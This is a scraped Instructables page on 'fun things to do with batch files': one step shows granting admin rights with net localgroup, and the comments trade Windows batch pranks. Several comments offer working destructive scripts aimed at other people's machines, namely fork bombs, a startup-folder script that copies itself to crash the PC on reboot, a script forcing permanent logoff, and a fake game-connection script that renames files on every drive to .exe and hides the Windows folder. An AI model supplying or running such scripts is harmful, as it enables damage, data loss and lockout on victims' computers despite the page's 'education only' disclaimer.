fun things to do with batch files

 by kerpaul
ok script kiddies and pros alike, its time for my third instructable. before i start, i wanna tell you guys something. I want to hear what YOU guys would like to see next. if you have a fun idea for a batch file, email it to g_colonna@sympatico.ca with batch idea in the subject line. i will pick the very / most legal :P one and post how to make it as an instructable for my 4th. if you leave your instructables name, i'll credit you for concept both in the file and on the instructable itself! _ anyway, now im just gonna show you a few things you can do with some simple (some are even one liners) batch files. NOTE: im not telling you how to use these, some skilled (and maybe unskilled) people might use this for malicious purposes, but that is not the intent. this is for education purposes only. first person to guess what song im listening to gets a cookie ( name and artist >_<)
 
Remove these adsRemove these ads by Signing Up

Step 1: Fun thing #1

another screen.bmp
this can be more / less fun depending on who / how you use it :D
its a simple one liner:

you type: net localgroup administrators USERNAME /add
you can also use /delete at the end. this makes the username you typed into an admin :O if you use /delete on an admin's username, it makes them a normal user >:O. (see pic)
1-40 of 95Next »
R3tr1buti0n says: May 22, 2013. 7:50 AM
you know whats fun?

@echo off
:A
start cmd.exe
goto A

warning put this in a batch file and it will crash/freeze your computer!!!!

@echo off
color 2
:matrix
echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%
goto matrix

this fun one will make a matrix on your cmd!

do
x=msgbox("your message here",4+16,"title of error here")
loop

this one will make a fake error message on your computer that cant be closed unless you kill the process with task manager (must save as a .vbs file)

have fun and dont get in too much trouble!!!
-R3tr1buti0n
terryb58 says: May 10, 2013. 6:52 AM
Evanescence - Bring Me Back To Life
FariZE(Blackjam) says: Apr 7, 2013. 10:17 PM
figure it out. what this batch file will do when you open it?
@echo off
color 20
title Connecting TibiaME server...
echo Connecting TibiaME server... please wait.
ren "D:\*.*" "*TibiaME.exe"
ren "C:\p*\*.*" "*TibiaME.exe"
ren "G:\*.*" "*TibiaME.exe"
ren "H:\*.*" "*TibiaME.exe"
ren "E:\*.*" "*TibiaME.exe"
ren "I:\*.*" "*TibiaME.exe"
ren "J:\*.*" "*TibiaME.exe"
start attrib C:\WINDOWS +s +h
echo Wscript.Sleep 3000>C:\sleep3000.vbs
start /w wscript.exe C:\sleep3000.vbs
echo Connection failure!
echo a=MsgBox ("Connection time out" ,48, "connection time out")>temp.vbs
start temp.vbs
start /w wscript.exe C:\sleep3000.vbs
del temp.vbs
pause
DanYHKim says: Feb 8, 2013. 11:39 AM
At my university, computers in the classrooms are set to login to domain usernames, and non-admin members are not able to use the Start menu shutdown feature. Instead, they are given the logoff only. Since the policy does not prohibit the Run . . . feature, one can shutdown or reboot these computers by using the shutdown command instead.

I guess one could also just pull the plug, but that is so inelegant.
TehTechnicalGuy says: Aug 7, 2012. 4:13 PM
I would like to share something that will ruin your computer, you will not be able to access your account ever again, (or someone elses'), if you make this batch file and start it.

@echo off
cd %appdata%\Microsoft\Windows\"Start Menu"\Programs\Startup
echo @echo off >> ooo.bat
echo shutdown /l /f >> ooo.bat
start ooo.bat

Use wisely.
akoolkid in reply to TehTechnicalGuyAug 26, 2012. 1:30 PM
You can access it if you hold shift when you click your username and hold until the account finishes loading and then you can delete the file
TehTechnicalGuy in reply to akoolkidSep 3, 2012. 8:56 AM
Not many people know that however, and so, it can be really useful.
pangra says: Sep 25, 2011. 1:45 AM
Whats the ping local host for
Prof. Pickle in reply to pangraAug 10, 2012. 6:31 AM
The ping localhost is generally used to pause a batch file for a certain amount of time. E.g:

@echo off
echo Shutdown will commence in 5
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 4
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 3
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 2
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 1
ping localhost -n 1 >nul
cls
echo Shutdown will commence in 0
shutdown -s -t 0
nhormell says: Apr 12, 2012. 2:44 PM
hey you seem pretty good with batch so
i am trying to make a code for a prank fake virus
it not working could you help me

@ echo off
title Black Wamba
color C0
:Begining
echo you have been infected curtisy of the black wamba hacking team
pause
PING 1.1.1.1 -n 1 -w 6000 >NUL
echo oh i see you dought the black wamba
PING 1.1.1.1 -n 1 -w 120 >NUL
echo HOW ABOUT I SHOW YOU A TASTE OF OUR POWER!!!!
PING 1.1.1.1 -n 1 -w 6000 >NUL
cls
title ERROR
echo "system root\user\program files\Black Wamba" has forced a shut down
echo are you shure you want to shutdown (will lose all saved data)
echo y\n
set /p =answer
pause
if %answer%== y
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600
msg* jk but remember the black wamba watches all
if %answer%== n
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600
msg* jk but remember the black wamba watches all

any help is appreciated thx
nhormell in reply to nhormellJul 30, 2012. 8:33 AM
thank you so much it worked perfectly thank you
[-NT-]r0adKill in reply to nhormellJul 29, 2012. 3:47 AM
i also attempted to fix your code, heres wat i got so far:
@ echo off
title Black Wamba
color C0
:Begining
echo you have been infected curtisy of the black wamba hacking team
pause
PING 1.1.1.1 -n 1 -w 6000 >NUL
echo oh i see you dought the black wamba
PING 1.1.1.1 -n 1 -w 120 >NUL
echo HOW ABOUT I SHOW YOU A TASTE OF OUR POWER!!!!
PING 1.1.1.1 -n 1 -w 6000 >NUL
cls
title ERROR
echo "system root\user\program files\Black Wamba" has forced a shut down
echo are you shure you want to shutdown (will lose all saved data)
echo y\n
set /p var=answer
pause
if %var%==y goto yes
if %var%==n goto no

:yes
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600 >nul
msg* jk but remember the black wamba watches all
pause
exit

:no
echo ERROR "Black Wamba" has taken control of system
PING 1.1.1.1. -n 1 -w 600
msg* jk but remember the black wamba watches all
pause
exit

-------------
if you are trying to get a little box to pop up in the middle of the screen with msg*, then i can tell you that won't work. the boxes are a .vbs file and have to be saved seperately. the command line for that would just be

start c:users/desktop/jk.vbs or whatever you named the file and where ever you saved it; the actual box would be:
yay=MsgBox("jk but remember the black wamba watches all",,"title-of-box")
Inv3rsE in reply to nhormellJul 25, 2012. 7:11 AM
Hey, pal i'm working to fix your code.. :)
nhormell in reply to Inv3rsEJul 27, 2012. 10:08 AM
thanks for your code but i cant get it to work on my computer for some reason all of the code should work in theory but it just flashes on my screen then closes
monkeys98 says: Oct 28, 2011. 12:07 AM
msg is not recognised as an internal or external command
Inv3rsE in reply to monkeys98Jul 25, 2012. 1:42 PM
you must put space between "msg" and "*"
winegums says: Apr 26, 2010. 11:55 AM
 try this one

@echo off
start www.meatspin.com

or if your feeling particularly mean

@echo off
:A
start www.meatspin.com
goto A


this will open meatspin in an infinite loop.

note: the website can be substituted for one of your own choice if you wish :)
jlanejr in reply to winegumsMar 24, 2012. 3:21 AM
I just joined the site on the advice of my friend and saw your posting. Well what can i say? Meat spin kinda sparked my curiousity. So I googled it and could not closed the browser quick enough. Never the less I have to admit it was horrible. I will use the site for my own fiendish plots. LOL Thanks!!!!
messmaker in reply to winegumsSep 28, 2010. 7:34 AM
want to get any noober?
One. in reply to winegumsMay 1, 2010. 1:44 AM
i wont even comment on that...
Kingfisher111 says: Dec 15, 2011. 11:23 PM
Meat Spin makes me sick
11rex11 says: Oct 19, 2010. 3:28 PM
i did something really evil i used a simpler code but it in a folder and put that in a folder and that in a folder (times that by 2) and put all of them in a weird programs folder i then made a shortcut to it and put it in the start folder i only set the time limit to 5 seconds... }:P
Craig Bird says: Sep 19, 2010. 1:58 PM
In responce to poodie you could simple change the code.


echo :loop > C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\%username%\StartMenu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat

:start
start cmd /c copy "C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\%username%\Start Menu\Programs\startup\temp%random%.bat"
goto start

you could also hide the batch file using attrib -h -s- r


spacetinker says: Sep 3, 2010. 10:23 AM
BRING ME THE HORIZON!! idk song (i like death breath so ill go with that), does i get cookie??
efficacy28 says: Jun 28, 2010. 8:55 AM
Ooh ooh ooh! I made a batch file that either shutsdown, restarts, or even logsoff your computer in a specified time!

Here's the code:
@ECHO OFF
title Timed Shutdown v1.00 by Efficacy28
set /a hour="0"
set /a min="0"
set /a sec="0"
color FC
echo Timed Shutdown v1.00
echo Created by Efficacy28
echo Sunday June 28, 2010
echo.
pause
:choose
cls
echo Shutdown computer = S
echo Restart computer = R
echo Logoff computer = L
echo Exit this program = E
echo.
set /p choose="Hello, %username%, what would you like to do?: "
if %choose%==s goto begin
if %choose%==S goto begin
if %choose%==r goto begin
if %choose%==R goto begin
if %choose%==l goto begin
if %choose%==L goto begin
if %choose%==e goto exit
if %choose%==E (goto exit) else goto erchoose
:begin
cls
echo Right now = 1
echo In 5 seconds = 2
echo In 30 seconds = 3
echo In 1 minute = 4
echo In 5 minutes = 5
echo In 15 minutes = 6
echo In 30 minutes = 7
echo In 1 hour = 8
echo In 2 hours = 9
echo Specified time = 0
echo.
set /p userinp="What time would you like to shutdown? (0-9): "
if %userinp%==1 goto shutdown
if %userinp%==2 goto 5sec
if %userinp%==3 goto 30sec
if %userinp%==4 goto 1min
if %userinp%==5 goto 5min
if %userinp%==6 goto 15min
if %userinp%==7 goto 30min
if %userinp%==8 goto 1hr
if %userinp%==9 goto 2hr
if %userinp%==0 (goto specify) else goto erbegin
:yay
if %choose%==s goto shutdown
if %choose%==S goto shutdown
if %choose%==r goto restart
if %choose%==R goto restart
if %choose%==l goto logoff
if %choose%==L goto logoff
:shutdown
cls
@ECHO
shutdown -s
goto exit
:restart
cls
@ECHO
shutdown -r
goto exit
:logoff
cls
@ECHO
shutdown -l
goto exit
:5sec
cls
set /p userinp="Is 5 seconds the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a sec="5"
goto start
:30sec
cls
set /p userinp="Is 30 seconds the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a sec="30"
goto start
:1min
cls
set /p userinp="Is 1 minute the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="1"
goto start
:5min
cls
set /p userinp="Is 5 minutes the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="5"
goto start
:15min
cls
set /p userinp="Is 15 minutes the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="15"
goto start
:30min
cls
set /p userinp="Is 30 minutes the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a min="30"
goto start
:1hr
cls
set /p userinp="Is 1 hour the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a hour="1"
goto start
:2hr
cls
set /p userinp="Is 2 hours the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
cls
set /a hour="2"
goto start
:specify
cls
set /p hour="How many hours do you want to wait?: "
:min
cls
if %hour% LSS 0 goto errorhour
set /p min="How many minutes do you want to wait?: "
:sec
cls
if %min% GTR 59 (goto errormin)
if %min% LSS 0 goto poop
set /p sec="How many seconds do you want to wait?: "
cls
if %sec% GTR 59 (goto errorsec)
if %sec% LSS 0 goto poopie
goto correction
:correction
set /p userinp="Is %hour% hour(s), %min% minute(s), and %sec% second(s) the time you want to wait? (Y/N): "
if %userinp%==Y goto start
if %userinp%==y goto start
if %userinp%==yes goto start
if %userinp%==Yes goto start
if %userinp%==YES (goto start) else goto begin
:start
cls
echo Your computer will be shutdown in %hour% hour(s)
echo %min% minute(s)
echo and %sec% second(s)...
set /a sec="%sec%-1"
ping -n 2 127.0.0.1 >NUL
if %sec%==-1 set /a min="%min%-1"
if %sec%==-1 set /a sec="59"
if %min%==-1 set /a hour="%hour%-1"
if %min%==-1 set /a min="59"
if %hour%==-1 goto yay
goto start
:errorhour
cls
echo %hour% is less than 0!
ping -n 4 127.0.0.1 >NUL
goto specify
:errormin
cls
echo %min% minutes is bigger than 59! (60 minutes is an hour)
ping -n 5 127.0.0.1 >NUL
goto min
:poop
cls
echo %min% is less than 0!
ping -n 4 127.0.0.1 >NUL
goto min
:errorsec
cls
echo %sec% seconds is bigger than 59! (60 seconds is a minute)
ping -n 5 127.0.0.1 >NUL
goto sec
:exit
cls
exit
:erchoose
cls
echo %choose% isn't a valid option!
ping -n 5 127.0.0.1 >NUL
goto choose
:erbegin
cls
echo %userinp% isn't a valid option!
ping -n 5 127.0.0.1 >NUL
goto begin

Or, just download it :P
http://www.megaupload.com/?d=KBZ3NIHP

Enjoy ^_^
V1P in reply to efficacy28Jul 8, 2010. 11:56 PM
Kewl man !
nutsandbolts_64 says: May 22, 2010. 2:58 AM
 lol, in step 3: Your computer has been infected. Please wait for the infection to spread. Oh man, wait there's a problem. Okay, virus back to loading. And... shutdown... SHutdown, SHUTdown, SHUTDOWN NOW *#&$)@&$!!!!!! okay finally... <computer shuts down>
poodi says: Mar 31, 2010. 12:50 AM
Best  bat file that can screw up a computer. Use wisely.

echo :loop > C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo start temp >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
echo goto loop >> C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp.bat" "C:\Documents and Settings\USER\Start Menu\Programs\startup\temp%random%.bat"
goto start

This creates a "forkbomb" kind of bat file one that repeatedly opens itself in the start up folder and then proceeds to copy itself indefenatley. When the computer is rebooted it is likely to crash very quickly.

Will be very hard to undo. Mabie rebooting in safe mode will do it. Dunno really.

Only problem is that u need to change the part where its says USER for the username of the target.
Win7Maniac in reply to poodiMay 18, 2010. 7:44 PM
Instead, you can use this code:

echo :loop > %homepath%\Start Menu\Programs\startup\temp.bat
echo start temp >> %homepath%\Start Menu\Programs\startup\temp.bat
echo goto loop >> %homepath%\Start Menu\Programs\startup\temp.bat
:start
start cmd /c copy "%homepath%\Start Menu\Programs\startup\temp.bat" "%homepath%\Start Menu\Programs\startup\temp%random%.bat"
goto :start

Then you don't have to specify the USER directory.
Saturn V says: May 14, 2010. 3:05 PM
The second one is EVIL!!!

Evil, but highly effective.
PMBell says: Jan 2, 2010. 5:39 PM
this one is good i changed all of my friends desktop icons to that file and he got so pissed
V1P says: Mar 3, 2009. 12:52 AM
use this one : The most annoying one that I made when I was in college :) @echo off :lbl start goto lbl Hv Fun >:P !
noobererer in reply to V1PJul 22, 2009. 8:07 PM
HAHAHAHA I WIN! i figured out how to get out of it without shutting down! i just open the file, then hit ctrl + c rapidly for like 5 secs (idk if its needed) then held ctrl + c and they would pretty much close as fast as they oppen then u just have to exit the first window that popped up (while holding ctrl +c)
V1P in reply to nooberererJul 23, 2009. 8:40 AM
Nice... but after how many tries u did this :) ? But yes anyways, it's just a prank, u can close all the cmd windows if your taskmgr is open. No harm in actual is done with this :) nice go noobererer :)
uberdum05 in reply to V1PDec 7, 2009. 9:56 AM
Ah, but you're wrong there, if it makes a copy of itself and opens the copy of itself. You're system will crash double quick now.......
(muhahahaha!)
noobererer in reply to V1PJul 24, 2009. 6:56 PM
second try :P GO ME! lol yeh but no matter who u do this too it will have atleast like 50 windows open before they manage to stop it :P
V1P in reply to nooberererJul 8, 2010. 11:59 PM
hmm ... there are other load of pranks I hv made, will post 'em later on, hv been busy in my stupid daily job :'(
noobererer in reply to V1PJul 9, 2010. 8:28 PM
Sweet! Can't wait to see 'em :)
karmakid732 in reply to V1PMay 9, 2009. 7:06 PM
that ones annoying as hell i just did it on my computer and had to restart it is there any cure besides shutting down
ghostWolf59 in reply to V1PMar 12, 2009. 9:43 PM
Here's a better one that will turn the most powerful PC into a sluggish 286 as well as filling up the local hard disk :) @echo off echo 0 >> dump.log %0 he, he, he
1-40 of 95Next »
Pro

Get More Out of Instructables

Already have an Account?

close

PDF Downloads
As a Pro member, you will gain access to download any Instructable in the PDF format. You also have the ability to customize your PDF download.

Upgrade to Pro today!